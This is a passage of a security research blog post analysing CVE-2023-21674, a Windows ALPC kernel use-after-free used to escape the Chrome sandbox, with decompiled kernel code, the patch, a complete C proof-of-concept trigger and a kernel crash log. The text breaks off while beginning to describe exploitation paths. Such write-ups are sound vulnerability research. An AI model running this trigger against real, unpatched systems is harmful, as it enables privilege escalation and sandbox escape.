Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape) (2024)

Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape) (3)

This blog post is the second series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we will present how we escaped the Chrome sandbox by exploiting a Windows kernel vulnerability. The vulnerability is CVE-2023–21674, a Use-After-Free vulnerability in NTOS kernel.

This vulnerability is the first Windows kernel In-The-Wild vulnerability in 2023. Fermium-252, our threat intelligence service, has both a PoC and an exploit of this vulnerability since January 2023.

Advanced Local Procedure Call (ALPC) is an inter-process communication feature developed for fast message communication. It has been shipped since Windows Vista, and is mainly utilized to send and receive data between processes. Before ALPC, old Windows NT kernels used synchronous inter-process communication, so server and client had to wait for messages. However, ALPC supports asynchronous communication, thus it is sometimes referred to as asynchronous LPC.

Most of the ALPC APIs are undocumented, but you can refer to the analysis documents like csandker-Blog and Garnier-Reccon2008.

In Windows, there are many ALPC ports; they can be listed via WinObj.exe.

Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape) (4)

ALPC ports are generally created by NtAlpcCreatePort, and connected to by other processes via NtAlpcConnectPort[Ex], and accept clients by NtAlpcAcceptConnectPort. After a connection is established, messages are passed via NtAlpcSendWaitReceivePort. So the overall flow of ALPC communication is as follows.

Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape) (5)

You can check the simple ALPC server and client code from here

The flag ALPC_MSGFLG_SYNC_REQUEST(0x20000) is the most important value for the vulnerability. As you might infer from the name, it determines whether ALPC messages are handled synchronously or not.

To understand the message flow of ALPC, let’s start with the NtAlpcSendWaitReceivePort system call.

__int64 __fastcall NtAlpcSendWaitReceivePort(HANDLE Handle, ULONG flag, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER Timeout)
{
...
result = ObReferenceObjectByHandle(Handle, 1u, AlpcPortObjectType, prev_mode, (PVOID *)&alpc_port_object, 0i64);
if ( result >= 0 )
{
...
if ( _bittest((const int *)&flag_and, 0x11u) )// ALPC_MSGFLG_SYNC_REQUEST(0x20000)
{
if ( SendMessage )
{
// Check Some flags
if ( _bittest((const int *)&flag_and, 0x10u) )// ALPC_MSGFLG_RELEASE_MESSAGE(0x10000)
{
result = 0xC00000F0;
}
else if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000
{
result = 0xC00000F0;
}
else if ( ReceiveMessage )
{
// Both of `SendMessage` and `ReceiveMessage` must exist.
result = AlpcpProcessSynchronousRequest(
alpc_port_object, flag_and, SendMessage, SendMessageAttributes,
ReceiveMessage, BufferLength, ReceiveMessageAttributes, Timeout, prev_mode);
}
else
{
result = 0xC0000705;
}
}
else
{
result = 0xC00000F0;
}
}
else
{
dispatchContext.PortObject = alpc_port_object;
dispatchContext.Flags = flag_and;
if ( !SendMessage )
{
if ( ReceiveMessage )
// Receive Message via calling AlpcpReceiveMessage
}
if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000
{
result = 0xC00000F0;
}
else
{
// Send Message via calling AlpcpSendMessage
}
}
}
...
}

NtAlpcSendWaitReceivePort retrieves an ALPC object (alpc_port_object) from a user-supplied handle, and takes different branches according to flag. When the flag is set, both sending and receiving messages must be done consecutively through the function AlpcpProcessSynchronousRequest; in this case, both SendMessage and ReceiveMessage should not be NULL. On the other hand, when the flag is not set, a user can perform only one task at a time, either sending or receiving a message depending on the existence of SendMessage and ReceiveMessage arguments.

__int64 __fastcall AlpcpProcessSynchronousRequest(_ALPC_PORT *alpc_port_object, unsigned int flag_and, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER timeout, int prev_mode)
{
...
/*
[1]. Check Address and Get Port Objects
~~~ Omitted ~~~
*/
if ( ConnectionPort && ObReferenceObjectSafe((__int64)ConnectionPort) )
{
u1State = alpc_port_object->u1.State;
...
// [2].Send message
dispatchContext.PortObject = alpc_port_object;
dispatchContext.Flags = flag_and;
if ( (u1State & 0x1000) != 0 )
result = AlpcpSendLegacySynchronousRequest(alpc_port_object, &dispatchContext, SendMessage, prev_mode);
else
result = AlpcpSendMessage(&dispatchContext, SendMessage, SendMessageAttributes, prev_mode);
if ( result < 0 )
goto LABEL_95;
if ( _bittest((const int *)&flag_and, 0x14u) )
{
prevmode = 1;
}
else
{
prevmode = KeGetCurrentThread()->PrevMode;
}
RecvMesssage = 0i64;
dispatchContext.PortObject = ConnectionPort;
// [3].Receive message
result = AlpcpReceiveSynchronousReply(
&dispatchContext.PortObject,
v34,
(_KALPC_MESSAGE **)&RecvMesssage,
AllocAttr,
timeout);

// Copy the Received Data

AlpcpProcessSynchronousRequest retrieves an ALPC port object after validating the address of arguments ([1]). Then, it sends an ALPC message ([2]) and synchronously receives the response through AlpcpReceiveSynchronousReply ([3]).

Let’s see AlpcpSendMessage to analyze the process of sending a message. (AlpcpSendLegacySynchronousRequest also calls AlpcpSendMessage internally.)

__int64 __fastcall AlpcpSendMessage(_ALPC_DISPATCH_CONTEXT *dispatchContext, _PORT_MESSAGE *sendPortMsg, _ALPC_MESSAGE_ATTRIBUTES *sendMsgAttributes, char accessMode)
{
...
// Copy the user message to `copied_sendMsg`
// [4]. Validate the message
result = AlpcpValidateMessage((unsigned __int16 *)&copied_sendMsg, flags_check);
if ( (int)result < 0 )
return result;
MessageID = copied_sendMsg.MessageId;
...
// [5]. Get Message or Create Message
if ( MessageID )
{
dispatch_ctx_flag |= 0x10u;
result = AlpcpLookupMessage(port_obj, MessageID, copied_sendMsg.CallbackId, accessMode, &alpc_message);
...
// Validate `alpc_message`
}
else{
...
// nt!AlpcpAllocateMessageFunction4
object = (PSLIST_ENTRY)qword_140CEBC70(dword_140CEBC64, dword_140CEBC6C, dword_140CEBC68);
if ( !object )
return 3221225626i64;
alpc_message_ = (_KALPC_MESSAGE *)(object + 48);
...
// Setup the Data for `alpc_message`
}

// [6]. Dispatch Message
dispatchContext->Message = alpc_message_;
dispatchContext->TotalLength = copied_sendMsg.u1.s1.TotalLength;
*(_DWORD *)&dispatchContext->Type = copied_sendMsg.u2.ZeroInit;
if ( alpc_message_->OwnerPort )
{
// The message is found by `AlpcpLookupMessage`
if ( alpc_message_->WaitingThread )
result = AlpcpDispatchReplyToWaitingThread(dispatchContext);
else
result = AlpcpDispatchReplyToPort(dispatchContext);
}
else
{
// The message is newly created
result = AlpcpDispatchNewMessage(dispatchContext);
}
}

AlpcpSendMessage first copies the user message to kernel memory and validates it through AlpcpValidateMessage ([4]). If the message has MessageID, lookup is performed on the MessagedID to retrieve the corresponding message object. Otherwise, a new ALPC message object is created ([5]).

And then, at [6], the message is handled by AlpcpDispatchReplyToWaitingThread, AlpcpDispatchReplyToPort, or AlpcpDispatchNewMessage depending on the fields in the message. These functions handle ALPC_MSGFLG_SYNC_REQUEST in a similar way, while other processing parts may be different.

Here’s the simplified code for the handler of the ALPC_MSGFLG_SYNC_REQUEST.

// Setup message and Insert message into QUEUE

// The common routine for `ALPC_MSGFLG_SYNC_REQUEST` Flag
curthread = (struct _ETHREAD *)KeGetCurrentThread();
if(flag & 0x20000 != 0) // ALPC_MSGFLG_SYNC_REQUEST
{
message->WaitingThread = curthread;
_InterlockedExchange64((volatile __int64 *)&curthread->AlpcMessageId, (__int64)message);
}

With ALPC_MSGFLG_SYNC_REQUEST flag set, WaitingThread in the message is set to the current thread object, and AlpcMessageId of the current thread is set to the address of the message. Since the message will be processed synchronously, the target thread of the response must be the current thread.

On the other hand, if a message is sent without the ALPC_MSGFLG_SYNC_REQUEST flag, WaitingThread is initialized to NULL as shown in the following code.

__int64 __fastcall AlpcpDispatchReplyToWaitingThread(_ALPC_DISPATCH_CONTEXT *dispatchContext)
{
...
portQueue = message->PortQueue;
if ( portQueue ){
// Remove message from port Queue
}
...
// ALPC_MSGFLG_SYNC_REQUEST is NOT set
if ( (flags & 0x20000) == 0 )
{
message->WaitingThread = NULL;
...
}
}

After sending the message in AlpcpSendMessage, AlpcpReceiveSynchronousReply is called ([3]) to get the response. ([3]is located in the pretty top of this blog.)

__int64 __fastcall AlpcpReceiveSynchronousReply(
_ALPC_DISPATCH_CONTEXT *dispatchContext,
KPROCESSOR_MODE prevmode,
_KALPC_MESSAGE **recvMsg,
int AllocatedAttributes,
PLARGE_INTEGER timeout)
{

CurrentThread = KeGetCurrentThread();
PortObject = dispatchContext->PortObject;
// [7]. Blocking while receiving
result = AlpcpSignalAndWait(dispatchContext, &CurrentThread->1160, WrLpcReply, prevmode, timeout, 1);
// [8]. Get Message and Nullify AlpcMessageId
message = (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&CurrentThread->AlpcMessageId, 0i64);
msgState = message->u1.State & 0xFFFFFFF8;
...
// Check Message State
if ( result_ != NT_SUCCESS )
{
// Something ERROR
if ( message->WaitingThread == CurrentThread )
{
// [9]. Initialize the WaitingThread to NULL
message->WaitingThread = 0i64;
--WORD1(message[-1].PortMessage.DoNotUseThisField);
if ( (message->u1.State & 0x80u) != 0 )
AlpcpUnlockMessage((ULONG_PTR)message);
else
AlpcpCancelMessage(port_obj, message, 0);
return result_;
}
AlpcpWaitForSingleObject(&CurrentThread->1160, WrLpcReply, 0, 0, 0i64);
v15 = message->u1.State;
result_ = 0;
}
...

// [10]. Check that Message is Ready
if ( _bittest((const int *)&msgState, 9u) )
{
msgAttr = (message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0) | 0x40000000;
if ( !message->MessageAttributes.View )
msgAttr = message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0;
if ( !message->MessageAttributes.HandleData )
msgAttr = msgAttr;
else
msgAttr = msgAttr | 0x10000000;
if ( (msgAttr & AllocatedAttributes) == 0 )
{
message->PortMessage.u2.s2.Type &= 0xDFFFu;
*recvMsg = message;
return result_;
}
}
...
}

AlpcpReceiveSynchronousReply waits for the response by calling AlpcpSignalAndWait, and the calling thread is blocked. When another process sends the response for the message, WaitingThread of the message will be updated depending on the flag value of the replying process ([7]). If the process replies without the ALPC_MSGFLG_SYNC_REQUEST flag, then WaitingThread of the message will be changed to NULL as explained above; otherwise, it will be the address of the replying thread.

After AlpcpSignalAndWait returns, the message object in AlpcMessageId of the current thread is retrieved, and the AlpcMessageId field is nullified ([8]). If AlpcpSignalAndWait returns any error for some reasons such as timeout, then the result will not be NT_SUCCESS, and WaitingThread of the message will remain unchanged. In this case, WaitingThread of the message is set to NULL ([9]).

If the message is successfully received, AlpcpReceiveSynchronousReply checks the state of the message and validates its attributes ([10]). When all the checks pass, the message is returned to be copied into the user memory.

To sum up, at the end of the AlpcpReceiveSynchronousReply function, AlpcMessageId of the current thread will be changed to NULL, and WaitingThread of the message will have either NULL or the replying thread.

The following is how the value of WaitingThread and AlpcMessageId change during ALPC communication between two entities. Here the Thread1 initiates a connection and sends a message with ALPC_MSGFLG_SYNC_REQUEST, and the Thread2 responses to the message without ALPC_MSGFLG_SYNC_REQUEST.

Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape) (6)

In the case above, both WaitingThread of the message and AlpcMessageId of the current thread will be always NULL if the communication is done without any errors.

However, let’s consider another scenario where there is only Thread1 and it returns immediately after sending an ALPC message with ALPC_MSGFLG_SYNC_REQUEST set. Then WaitingThread of the message points to the current thread. In this situation, if Thread1 is terminated (i.e., it is freed), then the WaitingThread of the message will be a dangling pointer which points to the freed thread object. Therefore, any dereferences to it afterwards will results in a Use-After-Free vulnerability.

This is the root cause of CVE-2023–21674, and it can be triggered from the system call NtWaitForWorkViaWorkerFactory.

__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork)
{
...
DeferredWork_ = DeferredWork;
...
if ( (DeferredWork_.Flags & 1) != 0 )
{
sendPortMsg = DeferredWork_.AlpcSendMessage;
sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;
sendMessagePort = DeferredWork_.AlpcSendMessagePort;
memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));
sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;
...
if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )
{
if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )
{
...
dispatch_ctx.PortObject = alpc_port;
dispatch_ctx.Flags = sendMessageFlags_and | 4;
dispatch_ctx.TargetPort = 0i64;
dispatch_ctx.TargetThread = 0i64;
dispatch_ctx.DirectEvent.Value = 0i64;
result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)
...
}

NtWaitForWorkViaWorkerFactory takes user-supplied DeferredWork as the last argument, which is represented by _WORKER_FACTORY_DEFERRED_WORK structure.

// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1217

typedef struct _WORKER_FACTORY_DEFERRED_WORK
{
struct _PORT_MESSAGE *AlpcSendMessage;
PVOID AlpcSendMessagePort;
ULONG AlpcSendMessageFlags;
ULONG Flags;
} WORKER_FACTORY_DEFERRED_WORK, *PWORKER_FACTORY_DEFERRED_WORK;

_WORKER_FACTORY_DEFERRED_WORK has a pointer to an ALPC message and a flag. Therefore, we can trigger the vulnerability by calling NtWaitForWorkViaWorkerFactory with ALPC_MSGFLG_SYNC_REQUEST set.

Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape) (7)
__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork)
{
...
DeferredWork_ = DeferredWork;
...
if ( (DeferredWork_.Flags & 1) != 0 )
{
sendPortMsg = DeferredWork_.AlpcSendMessage;
sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;
sendMessagePort = DeferredWork_.AlpcSendMessagePort;
memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));
sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;
+ if ( _bittest((const int *)&sendMessageFlags_and, 0x11u) ) // checks ALPC_MSGFLG_SYNC_REQUEST
+ goto ERROR;
...
if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )
{
if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )
{
...
dispatch_ctx.PortObject = alpc_port;
dispatch_ctx.Flags = sendMessageFlags_and | 4;
dispatch_ctx.TargetPort = 0i64;
dispatch_ctx.TargetThread = 0i64;
dispatch_ctx.DirectEvent.Value = 0i64;
result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)
...
}

The patch is very simple. If the AlpcSendMessageFlags value includes ALPC_MSGFLG_SYNC_REQUEST, then NtWaitForWorkViaWorkerFactory will return an error.

To trigger the vulnerability, we should send an ALPC message through NtWaitForWorkViaWorkerFactory.

// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1225

NTSYSCALLAPI
NTSTATUS
NTAPI
NtWaitForWorkViaWorkerFactory(
_In_ HANDLE WorkerFactoryHandle,
_Out_writes_to_(Count, *PacketsReturned) struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets,
_In_ ULONG Count,
_Out_ PULONG PacketsReturned,
_In_ struct _WORKER_FACTORY_DEFERRED_WORK* DeferredWork
);

As shown in the above function definition, we need a handle of WorkerFactory object. This object can be created by calling NtCreateWorkerFactory.

NTSTATUS NtCreateWorkerFactory(
_Out_ PHANDLE WorkerFactoryHandleReturn,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE CompletionPortHandle, // We need CompletionPortHandle
_In_ HANDLE WorkerProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID StartParameter,
_In_opt_ ULONG MaxThreadCount,
_In_opt_ SIZE_T StackReserve,
_In_opt_ SIZE_T StackCommit
);

To successfully create a WorkerFactory object via the NtCreateWorkerFactory system call, a handle of IoCompletion object is also required. It can be created through NtCreateIoCompletion.

NTSTATUS NtCreateIoCompletion(
OUT PHANDLE IoCompletionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN ULONG

Finally, we can create a WorkerFactory object like the following.

ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);
if (ntstatus != 0) {
printf("[-] NtCreateIoCompletion ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] IO_COMPLETION_HANDLE : %p\n", hIoComp);

ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (ntstatus != 0) {
printf("[-] NtCreateWorkerFactory ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] WORKER_FACTORY_HANDLE : %p\n", hWorkerFactory);

Next, we need an ALPC port handle. NtAlpcCreatePort requires a name of ALPC port like \RPC Control\Test, but we can also create an anonymous port by passing NULL to ObjectAttributes.

RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
serverPortAttr.Flags = 0x20000;
// NtAlpcCreatePort (_Out_ PHANDLE PortHandle, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes)
ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);
if (ntstatus != 0) {
printf("[-] NtAlpcCreatePort ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] ALPC_PORT : %p\n", hPort);

Finally, we are ready to trigger the vulnerability by calling the NtWaitForWorkViaWorkerFactory system call with the proper arguments.

LPVOID CreateMsgMem(PPORT_MESSAGE PortMessage, SIZE_T MessageSize, LPVOID Message)
{
/*
It's important to understand that after the PORT_MESSAGE struct is the message data
*/
LPVOID lpMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MessageSize + sizeof(PORT_MESSAGE));
memmove(lpMem, PortMessage, sizeof(PORT_MESSAGE));
memmove((BYTE*)lpMem + sizeof(PORT_MESSAGE), Message, MessageSize);
return(lpMem);
}

int trigger() {
NTSTATUS ntstatus;
ULONG outlen = 0;

ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);
if (ntstatus != 0) {
printf("[-] NtCreateIoCompletion ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] IO_COMPLETION_HANDLE : %p\n", hIoComp);

ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (ntstatus != 0) {
printf("[-] NtCreateWorkerFactory ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] WORKER_FACTORY_HANDLE : %p\n", hWorkerFactory);

PORT_MESSAGE pmSend;
LPVOID lpMem;
ALPC_PORT_ATTRIBUTES serverPortAttr;

RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
serverPortAttr.Flags = 0x20000;
ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);
if (ntstatus != 0) {
printf("[-] NtAlpcCreatePort ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] ALPC_PORT : %p\n", hPort);

piocomp = (PFILE_IO_COMPLETION_INFORMATION)malloc(0x100);
pwfdw = (PWORKER_FACTORY_DEFERRED_WORK)malloc(0x100);

RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
pmSend.u1.s1.DataLength = MSG_LEN;
pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);
pmSend.MessageId = 0;
pmSend.CallbackId = 0;
lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)L"AAAAAAAAAAAAAAAAAAA");

pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;
pwfdw->AlpcSendMessagePort = hPort;
pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST
pwfdw->Flags = 0x1;

printf("[+] Trigger Vulnerability\n");
NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);

return 0;
};

int main() {
// Create Thread
DWORD threadid = 0;
HANDLE hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)trigger, NULL, 0, &threadid);
//WaitForSingleObject(hthread, INFINITE);
Sleep(500);
TerminateThread(hthread, -1);
CloseHandle(hthread);

printf("[+] Close Some Handles\n");

CloseHandle(hWorkerFactory);
CloseHandle(hIoComp);

CloseHandle(hPort); // Trigger UAF
}

We call NtWaitForWorkViaWorkerFactory in a separate thread, and then terminates the thread by calling TerminateThread and CloseHandle; these steps will create an ALPC message object that has a dangling pointer in its WaitingThread field. Eventually, closing the port performs cleanup for ALPC objects, which dereferences the dangling pointer (UAF).

__int64 __fastcall AlpcpCancelMessage(_ALPC_PORT *a1, _KALPC_MESSAGE *msg, int a3)
{
...
freed_thread = msg->WaitingThread;
if ( freed_thread )
{
// Freed thread is referenced here when the ALPC object is freed.
if ( (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&freed_thread->AlpcMessageId, 0i64) == msg )
{
HIWORD(msg[-1].PortMessage.8) -= 2;
msg->WaitingThread = 0i64;
KeReleaseSemaphoreEx((__int64)&freed_thread->1160, 1u, 1, v20, 2);
}
}
...
}
0: kd> g
Breakpoint 0 hit
nt!AlpcpCancelMessage+0x353:
fffff801`4d8bc737 48878128050000 xchg rax,qword ptr [rcx+528h]

0: kd> !object @rcx
Object: ffffd38aa9d76080 Type: (ffff9901c3b7a000)
ObjectHeader: ffffd38aa9d76050 (new version)
HandleCount: 0 PointerCount: 0
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ref Count is ZERO!!!!

0: kd> !pool @rcx
Pool page ffffd38aa9d76080 region is Nonpaged pool
*ffffd38aa9d76000 size: 700 previous size: 0 (Free ) *.... (Protected) Process: 4e48033601c30916
Owning component : Unknown (update pooltag.txt)
==> @rcx is freed

You can see crash if the verifier is enabled on ntoskrnl.exe.

*** Fatal System Error: 0x00000050
(0xFFFFE70E9EB60BA8,0x0000000000000002,0xFFFFF80766AC8737,0x0000000000000002)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`6680e840 cc int 3
1: kd> !analyze -v
Connected to Windows 10 19041 x64 target at (Mon Jan 16 20:18:10.078 2023 (UTC + 9:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
............................................................
Loading User Symbols
......
Loading unloaded module list
......
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffe70e9eb60ba8, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80766ac8737, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
...

TRAP_FRAME: ffffa701a41aa650 -- (.trap 0xffffa701a41aa650)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000000 rbx=0000000000000000 rcx=ffffe70e9eb60680
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80766ac8737 rsp=ffffa701a41aa7e0 rbp=0000000000000001
r8=00000000ffffffff r9=7fffe70e9eb667b8 r10=7ffffffffffffffc
r11=ffffa701a41aa8b0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
nt!AlpcpCancelMessage+0x353:
fffff807`66ac8737 48878128050000 xchg rax,qword ptr [rcx+528h] ds:ffffe70e`9eb60ba8=????????????????
Resetting default scope

STACK_TEXT:
ffffa701`a41a9bf8 fffff807`669214a2 : ffffa701`a41a9d60 fffff807`66789a50 fffff807`6640c000 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffa701`a41a9c00 fffff807`66920a86 : fffff807`00000003 ffffa701`a41a9d60 fffff807`6681c640 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffa701`a41a9c60 fffff807`668053a7 : 00000000`00000000 00000000`00000000 ffffe70e`9eb60ba8 ffffe70e`9eb60ba8 : nt!KeBugCheck2+0x946
ffffa701`a41aa370 fffff807`6684021d : 00000000`00000050 ffffe70e`9eb60ba8 00000000`00000002 ffffa701`a41aa650 : nt!KeBugCheckEx+0x107
ffffa701`a41aa3b0 fffff807`66645a40 : 00000000`00000000 00000000`00000002 ffffa701`a41aa6d0 00000000`00000000 : nt!MiSystemFault+0x1dc7ad
ffffa701`a41aa4b0 fffff807`66814dd8 : ffffe70e`9e3b0000 fffff807`66702dcc ffffe70e`76b4ef80 ffffe70e`71215100 : nt!MmAccessFault+0x400
ffffa701`a41aa650 fffff807`66ac8737 : ffffd70c`f67eace0 ffffd70c`00000000 00000000`00000000 00000000`00000000 : nt!KiPageFault+0x358
ffffa701`a41aa7e0 fffff807`66ac64e1 : ffffffff`00000001 ffffe70e`9e70ee20 ffffe70e`00010000 ffffe70e`9e70ee20 : nt!AlpcpCancelMessage+0x353
ffffa701`a41aa860 fffff807`66ac624f : ffffffff`ffffffff ffffe70e`9e70ee20 ffffe70e`9e70ef80 ffffe70e`79760f00 : nt!AlpcpFlushQueue+0xfd
ffffa701`a41aa8a0 fffff807`66ac608b : ffffe70e`00000000 ffffffff`ffffffff ffffa701`a41aaa39 ffffe70e`9e70ef80 : nt!AlpcpFlushMessagesPort+0x27
ffffa701`a41aa8e0 fffff807`66ac5fca : ffffe70e`9e70ee20 00000000`00000000 ffffe70e`9eb66380 ffffa701`a41aaa39 : nt!AlpcpDoPortCleanup+0x8f
ffffa701`a41aa920 fffff807`66a101ef : ffffd70c`f2ccd2b0 00000000`00000000 ffffd70c`00000000 ffffd70c`f2ccd2b0 : nt!AlpcpClosePort+0x4a
ffffa701`a41aa950 fffff807`66a141cc : 00000000`000000ac 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ObCloseHandleTableEntry+0x51f
ffffa701`a41aaa90 fffff807`66818af5 : ffffe70e`9eb60600 ffffe70e`7f4ae680 ffffa701`a41aab80 ffffe70e`00000000 : nt!NtClose+0xec
ffffa701`a41aab00 00007ffb`de2ed2a4 : 00007ffb`dbfe6575 00000000`00000000 00000000`00001b04 00000204`f3f78320 : nt!KiSystemServiceCopyEnd+0x25
000000a4`4bb7faf8 00007ffb`dbfe6575 : 00000000`00000000 00000000`00001b04 00000204`f3f78320 00000000`00000000 : ntdll!NtClose+0x14
000000a4`4bb7fb00 00007ff7`e4fe148f : 00007ff7`e4fe3558 00000000`00000000 000000a4`4bb7faf8 00000000`00000000 : KERNELBASE!CloseHandle+0x45

To exploit the vulnerability, we need to find a location where WaitingThread is used. We found several ones such as NtAlpcOpenSenderThread, NtAlpcOpenSenderProcess, AlpcpGetEffectiveTokenMessage, LpcpCopyRequestData, and so on. (WaitingThread is also used in sending messages, and you can use that code for exploitation. But, we will not cover the part in this blog.)

__int64 __fastcall NtAlpcOpenSenderThread(
PHANDLE ThreadHandle,
HANDLE a2,
PPORT_MESSAGE a3,
bool a4,
int access_mask,
_OWORD *a6)
{
...
v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);
if ( v14 < 0 ) { /* ERROR */ }
else
{
...
waiting_thread = alpc_message->WaitingThread;
if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )
{
ObfReferenceObject(waiting_thread); // Reference
AlpcpUnlockMessage((ULONG_PTR)v17);
v14 = PsOpenThread((HANDLE *)phthread, access_mask, &object_attributes, &Source2.8, 0, PreviousMode);
DereferenceObject((PADAPTER_OBJECT)waiting_thread); // Dereference
...
}
__int64 __fastcall NtAlpcOpenSenderProcess(
PHANDLE ProcessHandle,
void *a2,
PPORT_MESSAGE a3,
__int64 a4,
ACCESS_MASK acess_mask,
__int128 *a6)
{
...
v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);
if ( v14 < 0 ) { /* ERROR */ }
else
{
...
waiting_thread = alpc_message->WaitingThread;
